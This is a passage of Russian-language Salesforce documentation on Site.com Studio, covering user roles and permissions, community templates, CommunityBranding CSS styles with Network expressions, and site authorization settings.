ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Site.com Studio — это специализированная среда редактирования содержимого,
позволяющая авторам выполнять указанные ниже действия.

• Открытие страницы для редактирования.

• Создание страниц сайта (если данная функция включена администратором сайта
или конструктором).

• Редактирование текста страницы.

• Добавление изображений и гиперссылок на страницы.

• Добавление элементов страницы на страницы.

• Импорт активов (например, изображений и файлов).

• Предварительный просмотр сайта в окне обозревателя.

СМ. ТАКЖЕ:

Описание вкладки «Общие сведения» для авторов

Планирование и внедрение веб-сайта Site.com

Общие сведения о вкладке Site.com
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Описание вкладки «Общие сведения» для администраторов сайта и конструкторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Для управления ролями
пользователя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

ИЛИ

«Управление
пользователями»

Вкладка «Общие сведения» отображается администратору сайта или конструктору при
открытиисайтавсредеSite.com Studio. Даннаявкладкапозволяетиздателямпросматривать
и управлять компонентами сайта, а также настраивать свойства сайта.
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• Чтобыпросмотретьсодержимое (2) представления, выберитенужноепредставление (1) навкладке «Общиесведения».

– Все содержимое сайта: созданиепапокдля систематизациисодержимого сайта. Кроме того, данноепредставление
позволяет создавать страницы, шаблоны и таблицы стилей, а также импортировать активы.

– Страницы сайта: создание страниц сайта, открытие и редактирование страниц, доступ к параметрам страниц,
создание ссылок картысайтаиформированиекартысайта. Данноепредставлениетакжепозволяетпереключаться

между стандартными представлениями ( ) и ( ).

– Шаблоны страницы: созданиешаблонов страницы, используемых в качестве основы для создания страниц сайта,
открытие и редактирование текущихшаблонов и доступ к параметрамшаблона.

– Таблицы стилей: редактирование таблицы стилей сайта или добавление новых таблиц стилей.

– Активы: импорт и управление активами (например, изображениями и файлами).

– Виджеты: разработка настраиваемых виджетов, которые могут повторно использоваться текущим пользователем
и его рабочей группой на сайте.

– Корзина: извлечение удаленных элементов. При удалении страница, шаблон, таблица стилей или актив
перемещаетсявкорзину. Удаленныеэлементыхранятсявкорзиневтечениенеопределенноговремени. Извлеченные
элементы восстанавливаются в исходных областях. Если исходная область больше не существует, то
восстановленные элементы добавляются в корневой каталог верхнего уровня.

– Журнал изменений: просмотр сведений о недавно опубликованных файлах.

– Конфигурация сайта: настройка свойств сайта, добавление ограничений IP-адресов, создание переадресаций
URL-адресов, управлениесведениямиодоменеиуправлениеролямипользователя, а такжедобавлениеиуправление
языками сайта.

• Ниже перечислены действия, доступные на панели инструментов (3).

– Импорт активов (например, изображения и файлы).

– Публикация недавних изменений.
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– Предварительный просмотр сайта или создание ссылки для анонимного предварительного просмотра другими
пользователями.

–
Дублирование или экспорт сайта, перезапись сайта версией из безопасной среды или создание сайта ( ).

• Ниже перечислены действия, доступные в раскрывающемся меню сайта (4).

– Переход к недавно просмотренным сайтам.

– Просмотр Site.com Studio в качестве авторов для проверки правильности настройки представления.

– Завершение работы со средой Site.com Studio и возврат к системе Salesforce.

– Создание сайта.

– Дублирование сайта.

Прим.: Site.com не поддерживает создание, удаление или копирование сайтов сообщества.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора

Планирование и внедрение веб-сайта Site.com

Общие сведения о Site.com
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Описание вкладки «Общие сведения» для авторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Вкладка «Общие сведения» отображается при открытии сайта в среде Site.com Studio.
Даннаявкладкапозволяетавторупросматриватьиредактироватьстраницыисодержимое
сайта, а также импортировать изображения и файлы.
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• Чтобыпросмотретьсодержимое (2) представления, выберитенужноепредставление (1) навкладке «Общиесведения».

– Все содержимое сайта: просмотр всех страниц, изображений и файлов, доступных на сайте.

– Страницы сайта: просмотр и редактирование страниц или создание страниц сайта (если доступно).

– Активы: импорт активов (например, изображений и файлов).

– Конфигурация сайта: управление ролями пользователя на сайте. Данное представление доступно только при
наличии полномочия «Управление пользователями».

• Ниже перечислены действия, доступные на панели инструментов (3).

– Импорт активов (например, изображений и файлов).

– Предварительный просмотр сайта в окне обозревателя.

• Ниже перечислены действия, доступные в раскрывающемся меню сайта (4).

– Переход к недавно просмотренным сайтам.

– Завершение работы со средой Site.com Studio и возврат к системе Salesforce.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве автора

Общие сведения о Site.com

Использование Site.com в сообществах

Использование конструктора сообществ (Site.com) без шаблонов
Каждое сообществоподдерживаетодинсвязанныйсайт Site.com, позволяющийдополнять сообществонастраиваемыми
фирменными страницами.По умолчанию страницы Site.com являются общедоступными и не требуют входа. При
необходимости пользователи могут создавать личные страницы, доступные только участникам сообщества.
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Дополнительную информацию об использовании Site.com см. в интерактивной справке.

Перед началом работы

Полномочие «Созданиеинастройка сообществ» автоматическипредоставляетпользователямсообществполныйдоступ
администратора к сайтам Site.com сообщества. При отсутствии данного полномочия пользователи сообществ могут
редактировать сайтытолькопослеприобретенияиназначениялицензии Site.com Publisher или Site.com Contributor, а также
назначения роли на уровне сайта.

Советы и рекомендации

• Пользователям сообществ, которым предоставлено полномочие «Создание и настройка сообществ», назначается
роль администратора сайта на сайте Site.com сообщества. Тем не менее, они не отображаются в разделе «Роли
пользователя» вкладки «Общие сведения» среды Site.com Studio.

• Site.com не поддерживает создание, удаление или копирование сайтов сообщества.

• При использовании привязанных к данным компонентов (например, повторители данных и формы) помните, что
перечисленные объектымогут быть недоступныпосетителям сайта. Доступ проверенныхпосетителей к объектам на
общедоступных и личных страницах контролируется соответствующими профилями пользователя. Доступ
непроверенныхпосетителейкобъектамнаобщедоступныхстраницахконтролируетсяпрофилемпользователя-гостя
сайта.

• При добавленииформ на проверенные страницы сообщества в приложении Site.com рекомендуем задать текущего
пользователя для объектов Salesforce, требующих поля «Код ответственного». В отличие от стандартного
пользователя-гостя, текущий пользователь позволяет определять проверенного пользователя при отправке формы.
Чтобы задать текущего пользователя для поля «Код ответственного», выберите нужное поле формы, щелкните
«Настроить» в разделе «Свойства поля» на панели «Свойства», а затем выберите источник «Глобальное свойство»
и значение «Код текущего пользователя».

• Начальная страница, страница ошибок, страница входа и страница самостоятельной регистрации, заданные для
сайтов сообщества Site.com в представлении «Конфигурация сайта», определяют начальные страницы для сайта
сообщества Site.com. Данные стандартные URL-адреса не используются только при настройке других URL-адресов
путем последовательного выбора пунктов «Администрирование» > «Страницы» и «Администрирование» >
«Вход и регистрация» на странице «Управление сообществом». Страницы ошибок сообщества определяются
разделом «Страницы ошибок» меню «Настройка Force.com».

• Если сайт сообщества Site.com неактивен, то пользователи перенаправляются на страницу «Служба недоступна»,
заданную в разделе «Страницы» страницы «Управление сообществом».

• По умолчанию представление автора недоступно сайтам сообщества Site.com. Тем не менее, лицензия Site.com
Contributor можетиспользоватьсядляпредоставлениядоступа авторак конкретномупользователю. Дополнительную
информациюсм. вразделе «Общие сведенияолицензияхнакомпоненты» справки Site.com. Принеобходимостипользователь
может открыть сайт сообщества Site.com для предварительного просмотра от имени автора путем добавления
компонента ?iscontrib в URL-адрессайта. Например: https://sitestudio.na1.force.com/?iscontrib.

СМ. ТАКЖЕ:

Выбор между конструктором сообществ и Force.com Sites

Использование Site.com для настройки сообщества

Общие сведения о сообществах Salesforce
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Использование Site.com для настройки сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Site.com позволяет пользователям сообществ создавать настраиваемые фирменные
страницысообщества. Настраиваемыестраницысообществамогутбытьсозданыразными
способами. Ниже перечислены некоторые основные этапы.

• Импорт активов: сбор активов, изображений и файлов, которые должны
использоваться на настраиваемой странице. Импортируйте активы в среду Site.com
Studio, где они будут доступны в разделе «Активы» на вкладке «Общие сведения».

• Созданиефирменныхстраниц: быстроесозданиефирменныхстраницпосредством
шаблонасообщества, которыйавтоматическиподдерживаетсявсемисайтамиSite.com
сообщества. Страница, созданная на основе шаблона сообщества, содержит все
фирменныестилисообщества, включаяверхнийинижнийколонтитулысообщества.
Чтобы полностью контролировать внешний вид страницы сообщества, создайте
собственныйшаблонстраницы, дополнитееговерхнимиинижнимиколонтитулами
сообществаизраздела «Виджеты» напанели «Элементыстраницы» идобавьтедругие
стили сообщества.

Прим.: Начиная с выпуска Spring'15 шаблон сообщества больше недоступен
новымсообществам. Шаблонсообществабудетдоступенбезизменениятолько
текущим сообществам Site.com, созданным на его основе. Дополнительную
информацию о создании сообщества см. в разделе «Создание сообществ» на
странице 3437.

• Использованиефирменных стилей сообщества: разработка внешнего вида
настраиваемых страниц путем использования таблицы стилей CommunityBranding
или созданияфирменных стилей сообщества посредством собственных каскадных
таблиц стилей. При отсутствии достаточного опыта по использованию каскадных
таблицстилейрекомендуемиспользоватьпанель «Стиль», обеспечивающуюбыстрое
создание и удобное управление стилями. При наличии богатого опыта по
использованию каскадных таблиц стилей рекомендуем вручную программировать
стили сообщества прямо в собственных таблицах стилей.

• Созданиеобщедоступныхстраниц: использованиешаблонадлябыстрогосоздания
страниц, которые автоматическинаследуютвсе элементышаблона страницы. Чтобы
создать отдельную страницу, дизайн которой отличается от остального дизайна,
рекомендуем воспользоваться пустой страницей.

• Отмена общего доступа к страницам: по умолчанию все страницы, созданные
посредством Site.com Studio, являютсяобщедоступными. Чтобыразрешитьпросмотр
страниц только зарегистрированным пользователям сообществ, рекомендуем
отменить общий доступ к страницам.

• Добавлениефункций, элементовстраницыивиджетовсообщества: использованиеготовыхэлементовстраницы
Site.com для добавления функций (например, меню навигации, изображения, блоки содержимого и виджеты
сообщества). Данные могут извлекаться из объектов организации и динамически отображаться на страницах сайта
посредством повторителей данных и таблиц данных. При необходимости данные посетителей могут быть собраны
и отправлены посредством форм.

• Добавление и редактирование содержимого: добавление и редактирование содержимого готовой страницы
(например, текста, изображений, видеофайлов и гиперссылок). При необходимости изображения или файлы могут
быть загружены во время работы.
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• Просмотр и тестирование страницы: тестирование изменений, внесенные на страницу, доступно на протяжении
всего цикла разработки. Чтобы гарантировать надлежащее отображение внесенных изменений в обозревателе,
настоятельнорекомендуемвсегдапросматриватьизменениядоихвнедрениянадействующийсайт. Принеобходимости
ссылка, позволяющая просматривать готовый продукт до выпуска, может быть отправлена специальным экспертам.

• Публикация страницы: предоставление доступа участникам сообщества к протестированной странице путем
публикации изменений.

• Добавление проверенных страниц на вкладку сообщества: добавление протестированной и опубликованной
страницы на вкладку сообщества (при использовании проверенных страниц).

• Использование Site.com в безопасной среде: теперь Site.com поддерживается безопасными средами. Копия
безопасной среды, созданная на основе производственной организации, может быть дополнена сайтами Site.com.
Чтобыскопироватьсайтизбезопаснойсредывпроизводственнуюорганизацию, воспользуйтесьфункциейперезаписи.

СМ. ТАКЖЕ:

Использование конструктора сообществ (Site.com) без шаблонов

Общие сведения о сообществах Salesforce

Оформление сообщества в фирменном стиле

Какой шаблон сообщества следует использовать?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Шаблоны сообщества позволяют быстро создать сообщество, предоставляющее
клиентам одинаковые визуальные и функциональные возможности на разных
используемых устройствах.

Рекомендуемпредоставитьклиентамкомпаниивозможностьполучениябыстройпомощи
в любое время и в любом месте. Сообщество для самообслуживания предоставляет
клиентам быстрый доступ к нужной информации при возникновении вопросов.
Сообщества, созданныенаосновешаблонов Koa и Kokua, позволяютклиентамвыполнять
поиск по статьям базы знаний, а также при необходимости обращаться в службу
поддержки. При использовании сообщества, созданного на основе шаблона Napili,
клиенты могут выполнять поиск по статьям, а также задавать свои вопросы и получать
ценные ответы от участников сообщества. Кроме того, при отсутствии искомых статей
они могут обращаться в службу поддержки без выполнения входа. Благодаря шаблонам самообслуживания сообщества
могут бесперебойно использоваться на самых разных устройствах.
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Мастер позволяет выбрать нужныйшаблон, а затем выполнить первоначальную настройку для категорий данных или
тем (в зависимости от используемого шаблона).

• Kokua — этовизуальнообогащенныйшаблонсамообслуживания, позволяющийпользователямпросматриватьстатьи
базы знаний, систематизированные по категориям данных. Кроме того, пользователи могут отправлять обращения
для получения помощи от агентов.

• Koa — это текстовыйшаблон самообслуживания, оптимизированный для мобильных устройств. Данныйшаблон
позволяет пользователям искать и просматривать статьи по текстовым представлениям категорий данных, а также
обращаться в службу поддержки при отсутствии искомых статей.

• Napili — этомногофункциональныйшаблонсообществапоподдержке, позволяющийклиентампубликоватьвопросы
в сообщество, а также находить и просматривать статьи. При отсутствии искомых статей они могут обращаться к
агентам службы поддержки.

Конструктор сообществ чрезвычайно упрощает настройку сообществ пользователя. Просто отредактируйте некоторые
компоненты для включения сведений о сообществе и добавьте несколько изображений для расширения фирменного
стиля. Приложениеготовокиспользованию. Иникакогокодирования! Крометого, еслипользовательжелает статьболее
опытнымразработчиком, онможет создаватьнастраиваемыестраницы, добавлять компонентынастраницы, пользоваться
настраиваемыми компонентами Lightning и публиковать дополнительные объекты Salesforce.

Сообщества автоматически отображаются на языках профиля пользователя, выполнившего вход в систему, так что ему
не нужно создавать отдельные сообщества для каждого языка и управлять ими. С помощью конструктора сообществ
пользовательможетпубликоватьсправкидлягостевыхпользователейсообществ, такчто, еслиихязыкинеподдерживаются,
они могут выбрать язык с компонента «language picker» на странице сообщества. Возможность хранения всех языков в
одном сообществе позволяет избегать создания и управления отдельными сообществами для каждого языка.

СМ. ТАКЖЕ:

Создание сообществ

Сравнение компонентов, доступных в шаблонах сообщества

Настройка страниц сообщества
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Настройка страниц сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для включения сообществ:
• «Настройка

приложения»

Для создания типов статей
и действий над статьей:
• «Управление Salesforce

Knowledge»

Для создания категорий
данных:
• «Управление

категориями данных»

Страницы — это строительные блоки сообщества пользователя. От них зависит, как
пользователи видят сообщество и взаимодействуют с ним.

Каждая страница содержитнаборкомпонентов, систематизированныхповыполняемой
задаче или функции (например, открытие обращения или поиск статьи). Страницы,
составляющие каждыйшаблон стандартного сообщества, готовы к использованию
после выполнения минимальной настройки. Кроме того, возможно создание новых
страниц или перетаскивание других компонентов на имеющиеся страницы при
необходимости. Присозданиинастраиваемыхкомпонентов Lightning ониотображаются
в списке доступных компонентов в левой части страницы.

Приоткрытиистраницыдляредактированияпользователимогутнастраивать свойства,
определяющиеспособотображениясведений, перемещатькомпонентывдругиеобласти
и удалять ненужные компоненты.

Прим.: Пользователи могут редактировать компоненты на странице и удалять
неактивные страницы, но не могут их переименовывать.

Например, начальная страница вшаблоне «Napili» содержиткомпоненты, позволяющие
клиентамвидеть самыеобсуждаемыестатьиитемы, анализировать статьипокатегориям,
читатьобсуждения в сообществах, искатьинформацию, задавать вопросыиобращаться
в службу поддержки. Чтобы запретить клиентам открытие обращений посредством
сообщества и разрешить только их отклонение, удалите компонент, позволяющий
обращаться в службу поддержки.

Чтобы редактировать страницу, перейдите в «Конструктор сообществ».

1. На раскрывающейся странице выберите страницу для редактирования.

2.
Щелкните значок , чтобы открыть редактор страницы.

3. Выберите нужный компонент.

4. В редакторе свойств отредактируйте свойства компонента.

5. Чтобы добавить компонент на страницу, просто перетащите его из меню
компонентов Lightning и вставьте в нужную область на странице.

6. Чтобы удалить компонент со страницы, наведите указатель мыши на компонент и

щелкните значок .

7. После редактирования страницы нажмите кнопку «Публиковать».

СМ. ТАКЖЕ:

Какой шаблон сообщества следует использовать?
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Создание фирменных страниц в Site.com

Общие сведения о создании фирменных страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

При создании сайта сообщества система Salesforce автоматически создает и связывает
сайт Site.com с сообществом.

Ниже перечислены действия, доступные посредством сайтов Site.com сообщества.

• Использование фирменного шаблона сообщества для создания страниц Site.com
сообщества.

Прим.: Начиная с выпуска Spring'15 шаблон сообщества больше недоступен
новымсообществам. Шаблонсообществабудетдоступенбезизменениятолько
текущим сообществам Site.com, созданным на его основе. Дополнительную
информацию о создании сообщества см. в разделе «Создание сообществ» на
странице 3437.

• Использование таблицы стилей CommunityBranding для стилизации страниц
Site.com посредством CSS.

• Создание собственных стилей CSS сообщества посредством доступных выражений пространства имен Network.
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Создание фирменных страниц на основе шаблона сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

СайтыSite.comсообществасодержатфирменныйшаблон, которыйможетиспользоваться
для создания страниц сайта сообщества.

Стили для шаблона сообщества хранятся в таблице стилей CommunityBranding,
которая автоматически добавляется во все новые сайты Site.com сообщества.

Чтобы создать фирменные страницы на основе шаблона сообщества, выполните
указанные ниже действия.

1. Выберитепредставление «Страницысайта» навкладке «Общиесведения» приложения
Site.com и нажмите кнопку «Создать».

2. Введите новое имя для страницы сообщества. Имена страниц не могут содержать
пробелы и специальные символы (например, #, ? или @).

3. Выберите шаблон страницы «Шаблон сообщества».

4. Нажмите кнопку «Создать».

Прим.:

• Параметрыфирменного стиля сообщества (например, верхние колонтитулы,
нижние колонтитулыицвета страниц) могут быть заданыпосредствомраздела
«Администрирование» > «Фирменный стиль» на странице «Управление
сообществом».

• Site.com не поддерживает пустые верхние и нижние колонтитулы сообщества,
а также верхние колонтитулы, содержащие только изображения. Рекомендуем
выбирать настроенные HTML-блоки для верхних и нижних колонтитулов
сообщества при создании страниц Site.com на основе шаблона сообщества
или создании верхних и нижних колонтитулов сообщества посредством
выражений пространства имен Network.

• Верхние и нижние колонтитулы сообщества доступны на страницах Site.com
сообщества в качестве виджетов. Чтобы добавить верхний или нижний
колонтитул сообщества на пустую страницу, перетащите нужный элемент из
раздела «Виджеты» панели «Элементы страницы» на страницу.

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Общие сведения о создании фирменных страниц

Просмотр таблицы стилей CommunityBranding

Общие сведения о шаблонах страницы Site.com

Создание шаблонов страниц Site.com
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Применение стилей сообщества из таблицы стилей CommunityBranding

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Таблица стилей CommunityBranding содержит набор стилей CSS, созданных
посредством выражений пространства имен Network.

Таблица стилей CommunityBranding прикрепляется к шаблону сообщества и
определяет фирменный внешний вид шаблона. Стили, доступные в таблице стилей
CommunityBranding, могут быть применены прямо к элементам любой страницы.

Чтобы применить стили сообщества посредством таблицы стилей
CommunityBranding, выполните указанные ниже действия.

1. Убедитесь, что таблица стилей CommunityBranding прикреплена к нужной
странице Site.com.

Прим.: Таблицастилей CommunityBranding автоматическиприкрепляется
ко всем страницам Site.com на основе шаблона сообщества.

2. Выберите нужный элемент страницы.

3. Откройте панель «Стиль».

4. Выберите параметр «Класс».

5. Начните вводить «фирмен».
Данное действие возвращает список всех доступных стилей в таблице стилей
CommunityBranding.

6. Выберите нужный стиль.

СМ. ТАКЖЕ:

Общие сведения о создании фирменных страниц

Создание фирменных страниц на основе шаблона сообщества

Просмотр таблицы стилей CommunityBranding

Создание и использование таблиц стилей
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Создание стилей сообщества в таблице стилей CSS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Фирменные стили сообщества доступны на сайтах Site.com сообщества посредством
выражений пространства имен Network.

Полный список доступных выражений пространства имен Network может
использоваться для создания стилей сообщества в любой таблице стилей CSS. При
добавлении выражения в правило CSS приложение Site.com извлекает стиль, заданный
в сообществе, и отображает его на странице.

Чтобы создать стили сообщества в таблице стилей CSS, выполните указанные ниже
действия.

1. Откройте новую или текущую таблицу стилей.

2. Нажмите кнопку «Редактировать код таблицы стилей».

3. Чтобы создать правило стиля сообщества, воспользуйтесь любыми доступными
выражениями Network. При необходимости создайте стили кода и стили класса.
Например:

#main_content_block {
background-color: {!Network.primaryColor};
color: {!Network.primaryComplementColor};

}
.secondary_content_blocks{
background-color: {!Network.zeronaryColor};
color: {!Network.zeronaryComplementColor};

}

4. Примените новые стили к элементам на других страницах.
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Прим.: Помните, что таблица стилей, содержащая стили сообщества, должна быть прикреплена ко странице,
содержащей стилизованные элементы.

СМ. ТАКЖЕ:

Общие сведения о создании фирменных страниц

Выражения, доступные для оформления сообщества в фирменном стиле

Создание и использование таблиц стилей

Выражения, доступные для оформления сообщества в фирменном стиле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Данные выражения пространства имен Network позволяют создавать собственные
стили сообщества.

Параметрыфирменного стиля сообщества (например, верхние колонтитулы, нижние
колонтитулы и цвета страниц) могут быть заданы посредством раздела
«Администрирование» > «Фирменный стиль» на странице «Управление
сообществом».

Прим.:

• Site.com не поддерживает пустые верхние и нижние колонтитулы сообщества,
а также верхние колонтитулы, содержащие только изображения. Рекомендуем
выбирать настроенные HTML-блоки для верхних и нижних колонтитулов
сообщества при создании страниц Site.com на основе шаблона сообщества
или создании верхних и нижних колонтитулов сообщества посредством
выражений пространства имен Network.

• Верхние и нижние колонтитулы сообщества доступны на страницах Site.com
сообщества в качестве виджетов. Чтобы добавить верхний или нижний
колонтитул сообщества на пустую страницу, перетащите нужный элемент из
раздела «Виджеты» панели «Элементы страницы» на страницу.

Соответствующий элемент страницы фирменного
стиля сообщества

Выражение Network

Настраиваемое содержимое верхнего колонтитула
сообщества.

{!Network.header}

Настраиваемое содержимое нижнего колонтитула
сообщества.

{!Network.footer}

Цвет фона для верхнего колонтитула сообщества.{!Network.zeronaryColor}

Цвет шрифта при использовании выражения
zeronaryColor.

{!Network.zeronaryComplementColor}

Цвет для активных вкладок сообщества.{!Network.primaryColor}

Цвет шрифта при использовании выражения
primaryColor.

{!Network.primaryComplementColor}

Цвет для верхней границы списков и таблиц сообщества.{!Network.secondaryColor}
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Соответствующий элемент страницы фирменного
стиля сообщества

Выражение Network

Цвет фона для верхних колонтитулов разделов на
страницах просмотра и редактирования сведений в
сообществе.

{!Network.tertiaryColor}

Цвет шрифта при использовании выражения
tertiaryColor.

{!Network.tertiaryComplementColor}

Цвет фона для страниц сообщества.{!Network.quaternaryColor}

Цвет шрифта при использовании выражения
quaternaryColor.

{!Network.quaternaryComplementColor}

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Общие сведения о создании фирменных страниц

Создание стилей сообщества в таблице стилей CSS

Просмотр таблицы стилей CommunityBranding

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Таблицастилей CommunityBranding содержитнаборфирменныхстилейсообщества.

Параметрыфирменного стиля сообщества (например, верхние колонтитулы, нижние
колонтитулы и цвета страниц) могут быть заданы посредством раздела
«Администрирование» > «Фирменный стиль» на странице «Управление
сообществом».

Чтобы просмотреть стили сообщества в таблице стилей CommunityBranding,
откройте вкладку «Общие сведения» приложения Site.com, щелкните «Таблицы стилей»
и выберите таблицу стилей CommunityBranding. Стили сообщества отображаются
слева. Чтобыпросмотретькодтаблицыстилей, щелкните«Редактироватькодтаблицы
стилей».

Приложение поддерживает 14 стилей сообщества. Ниже представлено стандартное
содержимое таблицы стилей.

.brandZeronaryBgr {
background-color: {!Network.zeronaryColor} !important;
}
.brandZeronaryFgr {
color: {!Network.zeronaryComplementColor} !important;
}
.brandPrimaryBgr {
background-color: {!Network.primaryColor} !important;
}
.brandPrimaryFgr {
color: {!Network.primaryComplementColor} !important;
}
.brandPrimaryBrd2 {
border-color: {!Network.primaryComplementColor} !important;
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}
.brandPrimaryFgrBrdTop {
border-top-color: {!Network.primaryComplementColor} !important;
}
.brandPrimaryBrd {
border-top-color: {!Network.primaryColor} !important;
}
.brandSecondaryBrd {
border-color: {!Network.secondaryColor} !important;
}
.brandSecondaryBgr {
background-color: {!Network.secondaryColor} !important;
}
.brandTertiaryFgr {
color: {!Network.tertiaryComplementColor} !important;
}
.brandTertiaryBgr {
background-color: {!Network.tertiaryColor} !important;
color: {!Network.tertiaryComplementColor} !important;
background-image: none !important;
}
.brandTertiaryBrd {
border-top-color: {!Network.tertiaryColor} !important;
}
.brandQuaternaryFgr {
color: {!Network.quaternaryComplementColor} !important;
}
.brandQuaternaryBgr {
background-color: {!Network.quaternaryColor} !important;
}

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Общие сведения о создании фирменных страниц

Создание фирменных страниц на основе шаблона сообщества

Добавление проверенных страниц

Общие сведения об авторизации Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователи могут определять уровень доступа посетителей к содержимому
создаваемогосайта. Исходнаянастройкановыхсайтовразрешаетдоступковсемресурсам
(например, папки и страницы). Чтобы изменить стандартное значение, воспользуйтесь
представлением «Авторизация» в представлении «Конфигурация сайта».

Ниже перечислены доступные значения авторизации.

• «Нет авторизации» (по умолчанию): все ресурсы являются общедоступными.

• «Требует авторизацию»: все ресурсы являются личными.

• «Настраиваемый»: по умолчанию все ресурсы являются общедоступными, но могут
быть выбраны в качестве личных.
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Значения «Нет авторизации» и «Требует авторизацию» позволяют быстро предоставлять или отменять доступ ко всем
ресурсам сайта. Значение «Настраиваемый» позволяет определять доступ к отдельным страницам, папкам и другим
ресурсам. Выбор значения «Настраиваемый» инициирует установкуфлажка «Требует авторизацию» вменю «Действия»

для всех ресурсов сайта. Авторизация может быть задана на уровне сайта, папки, страницы и отдельного ресурса.
Элементы, выбранные для авторизации, помечаются значком замка . Ресурс (например, страница), помеченный в
качестве личного, доступен пользователям Salesforce только после входа.

Ресурсы могут наследовать параметры конфиденциальности соответствующих папок. Если ресурс (например, папка
сайта) выбирается для авторизации, то все содержимое папки наследует параметры авторизации папки и становится
личным. Ресурс, перемещаемый в общедоступную папку, становится вновь общедоступным. Ресурс, помеченный в
качестве личного посредством меню «Действия» и перемещенный в общедоступную папку, остается личным ввиду
приоритета параметров конфиденциальности на уровне ресурса.

Привыборезначения «Настраиваемый» таблицаавторизацииотображаетсявпредставлении «Авторизация», позволяющем
управлятьличнымиресурсамиилиэлементами, помеченнымивкачествеличных. Чтобыотменить авторизациюресурса,
удалите нужный ресурс из таблицы авторизации или снимите флажок «Требует авторизацию» для самого элемента.

СМ. ТАКЖЕ:

Настройка авторизации на сайте

Настройка настраиваемой авторизации

Удаление авторизации Site.com
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Настройка авторизации на сайте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
